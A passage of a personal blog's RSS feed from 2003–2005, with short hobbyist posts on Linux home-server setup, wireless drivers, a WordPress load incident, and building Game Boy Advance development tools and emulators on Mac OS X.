+0000</pubDate><guid>https://juju.nz/michaelh/2005/05/power-off-on-power-button/</guid><description>&lt;p>Squishy, the Linux box, runs MythTV. It’s a bit tricky to turn off so it would be nice to have it turn off on pressing the power button. Turns out Ubuntu has everything there by default provided by &lt;tt>acpi&lt;/tt>, &lt;tt>acpid&lt;/tt>, and &lt;tt>acpi-support&lt;/tt>.&lt;/p>
&lt;p>References:&lt;/p>
&lt;ul>
&lt;li>
&lt;a href="http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html" target="_blank" rel="noopener">http://ldp.paradoxical.co.uk/LDP/LGNET/106/pramode.html&lt;/a>&lt;/li>
&lt;li>
&lt;a href="http://www.mjmwired.net/resources/redhat8-acpi.html" target="_blank" rel="noopener">http://www.mjmwired.net/resources/redhat8-acpi.html&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Playing with ndiswrapper</title><link>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</link><pubDate>Sun, 29 May 2005 08:07:43 +0000</pubDate><guid>https://juju.nz/michaelh/2005/05/playing-with-ndiswrapper/</guid><description>&lt;p>Very impressed so far. Purchased a Dick Smith
&lt;a href="http://www.dse.co.nz/cgi-bin/dse.storefront/4299766c0d648674273fc0a87f9907a0/Product/View/XH8227" target="_blank" rel="noopener">XH8227 802.11g USB&lt;/a> network adapter as they were on closeout for a reasonable price. There are efforts to get a
&lt;a href="http://jbnote.free.fr/prism54usb/" target="_blank" rel="noopener">driver going natively&lt;/a> using the
&lt;a href="http://prism54.org/" target="_blank" rel="noopener">prism54.org&lt;/a> drivers as a base but I wanted to get things up and going quickly.&lt;/p>
&lt;p>Got confused at first as I loaded the PCI drivers into ndiswrapper first and then couldn’t figure out why it couldn’t find the card. It came up quite quickly from there. My &lt;tt>/etc/network/interfaces&lt;/tt> ended up being:&lt;/p>
&lt;pre># The loopback network interface
auto lo wlan0
iface lo inet loopback
# This is a list of hotpluggable network interfaces.
# They will be activated automatically by the hotplug subsystem.
mapping hotplug
script grep
map eth0
# The primary network interface
iface eth0 inet static
address 192.168.2.2
netmask 255.255.255.0
iface wlan0 inet dhcp
wireless-key &amp;lt;secret>
wireless-essid Call&amp;lt;secret>
hostname squishy
&lt;/pre>
&lt;p>Added &lt;tt>mdnsresponder&lt;/tt> to squishy and now I can ping squishy from my iBook. Added &lt;tt>libnss-mdns&lt;/tt> and edited &lt;tt>/etc/nsswitch.conf&lt;/tt> to have &lt;tt>hosts: files dns mdns4&lt;/tt> and now I can ping crush.local from squishy. Nice. No DNS server incolved.&lt;/p></description></item><item><title>MonkeyFilter downtime</title><link>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</link><pubDate>Mon, 16 May 2005 08:45:11 +0000</pubDate><guid>https://juju.nz/michaelh/2005/05/monkeyfilter-downtime/</guid><description>&lt;p>My web host took down my account due to a WordPress administration script taking up all of the CPU. For some reason four copies of the &lt;code>wp-admin/categories.php&lt;/code> script were spinning pushing the load average above 20. It isn’t linked from any of the user scripts and there were no direct accesses in the access log, and I haven’t used WordPress since, well, the last post so it really is a mystery.&lt;/p>
&lt;p>I’ve upgraded to 1.5.1 and added an Apache level password on the admin area as defensive measures.&lt;/p></description></item><item><title>Experiments with Fuse</title><link>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</link><pubDate>Mon, 25 Apr 2005 08:22:16 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/experiments-with-fuse/</guid><description>&lt;p>
&lt;a href="http://fuse-emulator.sf.net/" target="_blank" rel="noopener">Fuse&lt;/a> is a quite complete Spectrum emulator with a very good Z80 core already used in the
&lt;a href="http://www.chuntey.com/eightyone/" target="_blank" rel="noopener">EightyOne&lt;/a> Windows only ZX81 emulator. The core has many hooks in it for the various Spectrum functions that go on and is not as clean to separate out as I hoped – I’ll have to do a simple fork of it, clean out the Fuse parts and then put in the ZX81 parts.&lt;/p>
&lt;p>There are other raw speed issues with the at least registers being in statics and memory being accessed through helper functions that will mean it is too slow on the GBA. One thing at a time though. First I’ll get the core running under ncurses on the Mac, then in a simple text mode on the GBA, then we’ll have a look at the speed. A good thing about the ZX81 is that the basic screen mode is pure(-ish) text encoded in a simple way so it can be rendered to a console easily.&lt;/p></description></item><item><title>Mapping MonkeyFilter</title><link>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</link><pubDate>Wed, 20 Apr 2005 08:25:26 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/mapping-monkeyfilter/</guid><description>&lt;p>I’m quite impressed with xplanet (
&lt;a href="http://xplanet.sf.net/%29" target="_blank" rel="noopener">http://xplanet.sf.net/)&lt;/a>. You can give it a text file containing lat, long, and markers and generate a map of the world with people’s locations on it. Put it on a Wiki so people can edit it and you get&lt;/p>
&lt;p>
&lt;a href="http://wiki.monkeyfilter.com/index.php?title=MonkeyMap" target="_blank" rel="noopener">http://wiki.monkeyfilter.com/index.php?title=MonkeyMap&lt;/a>&lt;/p>
&lt;p>The tricky thing is figuring out how to do just part of the world, such as North America. The world map is a projection but you can’t zoom in on a projected view. Turns out you can put it in globe mode, centre on the area you want to record, and zoom in so that it looks flat.&lt;/p></description></item><item><title>Closer, closer</title><link>https://juju.nz/michaelh/2005/04/closer-closer/</link><pubDate>Fri, 08 Apr 2005 09:07:48 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/closer-closer/</guid><description>&lt;p>DKA R4 really didn’t work out. Got DKA R4-beta5 out of the Sourceforge CVS. It needed a bit of massaging but it compiled. &lt;em>And&lt;/em> some of the examples compile. &lt;em>And&lt;/em> run.&lt;/p>
&lt;p>&lt;em>And&lt;/em> my Xport arrived yesterday. It worked OK off my Linux box once I set the port to SPP from EPP.&lt;/p></description></item><item><title>Compile!</title><link>https://juju.nz/michaelh/2005/04/14/</link><pubDate>Wed, 06 Apr 2005 08:42:47 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/14/</guid><description>&lt;p>Getting crt0.s to work with devkitARM seems more effort than getting DKA to compile under the Mac. Got DKA release 4. Doesn’t build out of the box but built in the end. Unfortunatley my xport copy is quite broken so I can’t tell if the current problems are due to DKA 4 vs DKA 5 or the modifications I made while playing with devkitARM.&lt;/p></description></item><item><title>MonkeyFilter transfer</title><link>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</link><pubDate>Sat, 02 Apr 2005 09:56:29 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/monkeyfilter-transfer/</guid><description>&lt;p>Changed over to WordPress and I notice my first posts were about MonkeyFilter’s transfers.&lt;/p>
&lt;p>Then:&lt;/p>
&lt;ul>
&lt;li>416MB after about 20 days
&lt;ul>
&lt;li>
&lt;p>59MB in 18 hours &lt;/ul>
Now:&lt;/p>
&lt;ul>
&lt;li>443MB in the first day of the month
&lt;ul>
&lt;li>10.25GB for March &lt;/ul>
The growth for the last three months has been 8.24G to 9.06G to 10.25G or 10 to 13% per month. Compound that to 390% yearly growth. Hope not.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>GDB</title><link>https://juju.nz/michaelh/2005/04/gdb/</link><pubDate>Sat, 02 Apr 2005 08:56:38 +0000</pubDate><guid>https://juju.nz/michaelh/2005/04/gdb/</guid><description>&lt;p>So GDB 6.3 doesn’t compile out of the box on a Mac for a couple of reasons – it assumes the localisation library ‘intl’ source is available as well and it has compilation problems with one of the ARM protocol interfaces. The code uses a #ifdef on __linux or CYGWIN to detect a Unix platform and goes to Windows otherwise.&lt;/p>
&lt;p>Got GDB 6.0 with the rest of the tool chain from the GNU ARM project –
&lt;a href="http://www.gnuarm.com/" target="_blank" rel="noopener">http://www.gnuarm.com/&lt;/a>. It connects into VisualBoy fine.&lt;/p>
&lt;p>Next is to compare the startup files between devkitARM and DKA. I need a good debugger GUI but apparently Insight doesn’t work on the Mac. Eclipse time.&lt;/p></description></item><item><title>Compiling Xport for Mac OS X</title><link>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</link><pubDate>Thu, 31 Mar 2005 09:12:16 +0000</pubDate><guid>https://juju.nz/michaelh/2005/03/compiling-xport-for-mac-os-x/</guid><description>&lt;p>VisualBoy Advance also has a native Mac port and has GBD support. The Mac binary is missing the debugger hooks so I’ll try compiling the SDL version.&lt;/p>
&lt;p>I’ve gotten one small demo to compile and run using the information at
&lt;a href="http://user.chem.tue.nl/jakvijn/tonc/setup.htm" target="_blank" rel="noopener">http://user.chem.tue.nl/jakvijn/tonc/setup.htm&lt;/a>. The critical things are:&lt;/p>
&lt;ul>
&lt;li>-mthumb-interwork on gcc
&lt;ul>
&lt;li>
&lt;p>-specs=gba.specs when linking. &lt;/ul>
DarkFader’s gbafix 1.03 won’t work on the Mac due to endian issues.&lt;/p>
&lt;p>Xport uses a derivitave of the devKit Advance crt0 which is completly different to devkitArm. -nostartfiles gcc option disables the standard crt0, but the Xport crt0 uses many symbols that DKA doesn’t support.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Xport ordered</title><link>https://juju.nz/michaelh/2005/03/xport-ordered/</link><pubDate>Wed, 30 Mar 2005 09:30:40 +0000</pubDate><guid>https://juju.nz/michaelh/2005/03/xport-ordered/</guid><description>&lt;p>I ordered my
&lt;a href="http://charmedlabs.com" target="_blank" rel="noopener">Xport 2.0&lt;/a> for the GBA today. To do things the hard way, I’ve decided to get everything going under Mac OS X 10.3.&lt;/p>
&lt;p>Notes so far:&lt;/p>
&lt;ul>
&lt;li>Got the devkitARM r11 binaries for Mac. devkit Advance is apparently depreciated. Gives me gcc 3.4 at least.
&lt;ul>
&lt;li>Got the Xport Windows tools distribution from charmedlabs.com. Extracted it out and copied it over.
&lt;ul>
&lt;li>Got Boycott Advance v0.3.5. Apparently it’s the only emulator for Mac. No debugger support or source code.
&lt;ul>
&lt;li>The pre-built binaries work fine under Boycott.
&lt;ul>
&lt;li>Tried to re-compile the helloworld_c example. It links but doesn’t run.
&lt;ul>
&lt;li>The libgba supplied with Xport is unrelated to libgba from DKA.
&lt;ul>
&lt;li>Got the xport distribution from the sourceforge CVS. &lt;/ul>
Next step is to re-build the Xport libgba and go from there.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></description></item><item><title>Overscan and audio CDs</title><link>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</link><pubDate>Sat, 29 Nov 2003 03:08:33 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/overscan-and-audio-cds/</guid><description>&lt;p>Right, well Freevo already has an undocumented OVERSCAN config item. Set that to slowly bring in the corners of the display. About 70×30 is right for our system, although the watermark pictures on the main screen are a bit distorted.&lt;/p>
&lt;p>mmpython has a problem where it stops loading any disc plugins if any fail, and unfortunatly the dvd one is at the top of the list. Shifting it to the bottom made audio CDs work.&lt;/p>
&lt;p>Oh, and ripping is the ‘audio.cdbackup’ plugin. So far it has taken over 10mins to encode a 5 min track, so we’ll see what it’s like in a bit.&lt;/p></description></item><item><title>How high’s the water, momma?</title><link>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</link><pubDate>Fri, 28 Nov 2003 21:30:15 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/how-highs-the-water-momma/</guid><description>&lt;p>463MB and rising…&lt;/p></description></item><item><title>Six feet high and rising…</title><link>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</link><pubDate>Fri, 28 Nov 2003 00:24:44 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/six-feet-high-and-rising/</guid><description>&lt;p>Data transfer due to mfx is now at 416MB, up from 357MB 18 hours ago…&lt;/p></description></item><item><title>Blergh!</title><link>https://juju.nz/michaelh/2003/11/blergh/</link><pubDate>Thu, 27 Nov 2003 09:49:51 +0000</pubDate><guid>https://juju.nz/michaelh/2003/11/blergh/</guid><description>&lt;p>Eat kitty!&lt;/p></description></item></channel></rss>